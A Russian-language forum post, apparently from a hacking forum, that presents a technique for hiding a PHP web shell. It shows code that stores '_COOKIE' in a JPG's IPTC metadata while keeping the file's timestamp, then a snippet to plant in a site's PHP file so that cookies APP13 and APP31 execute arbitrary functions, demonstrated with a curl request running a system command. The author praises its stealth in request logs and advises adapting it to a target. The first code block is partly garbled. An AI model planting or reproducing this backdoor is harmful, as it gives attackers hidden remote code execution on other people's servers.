способ на любителя
находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла
.SpoilerTarget" type="button">Spoiler
Код:
meta = iptcparse($info["APP13"]);
$this->file = $filename;
}
function getValue($tag)
{
return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
}
function setValue($tag, $data)
{
$this->meta["2#$tag"] = [$data];
$this->write();
}
private function write()
{
$mode = 0;
$content = iptcembed($this->binary(), $this->file, $mode);
$filename = $this->file;
if(file_exists($this->file)) unlink($this->file);
$fp = fopen($this->file, "w");
fwrite($fp, $content);
fclose($fp);
}
private function binary()
{
$data = "";
foreach(array_keys($this->meta) as $key)
{
$tag = str_replace("2#", "", $key);
$data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
}
return $data;
}
function iptc_maketag($rec, $data, $value)
{
$length = strlen($value);
$retval = chr(0x1C) . chr($rec) . chr($data);
if($length > 8) . chr($length & 0xFF);
}
else
{
$retval .= chr(0x80) .
chr(0x04) .
chr(($length >> 24) & 0xFF) .
chr(($length >> 16) & 0xFF) .
chr(($length >> 8) & 0xFF) .
chr($length & 0xFF);
}
return $retval . $value;
}
function dump()
{
echo "";
print_r($this->meta);
echo "";
}
#requires GD library installed
function removeAllTags()
{
$this->meta = [];
$img = imagecreatefromstring(implode(file($this->file)));
if(file_exists($this->file)) unlink($this->file);
imagejpeg($img, $this->file, 100);
}
}
$file = "test.jpg";
$time = filemtime($file);
$objIPTC = new IPTC($file);
//set title
$objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
touch($file,$time);
//set description
echo $objIPTC->getValue(IPTC_HEADLINE);
?>
после выполнения скрипт должен вывести "_COOKIE"
затем в нужный php файл, в нужном месте добавляем следующий код
Код:
$file = "test.jpg";
$size = getimagesize($file, $info);
if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);
суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31
пример работы
Код:
$ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
/usr/bin/bash
+ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте
-ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект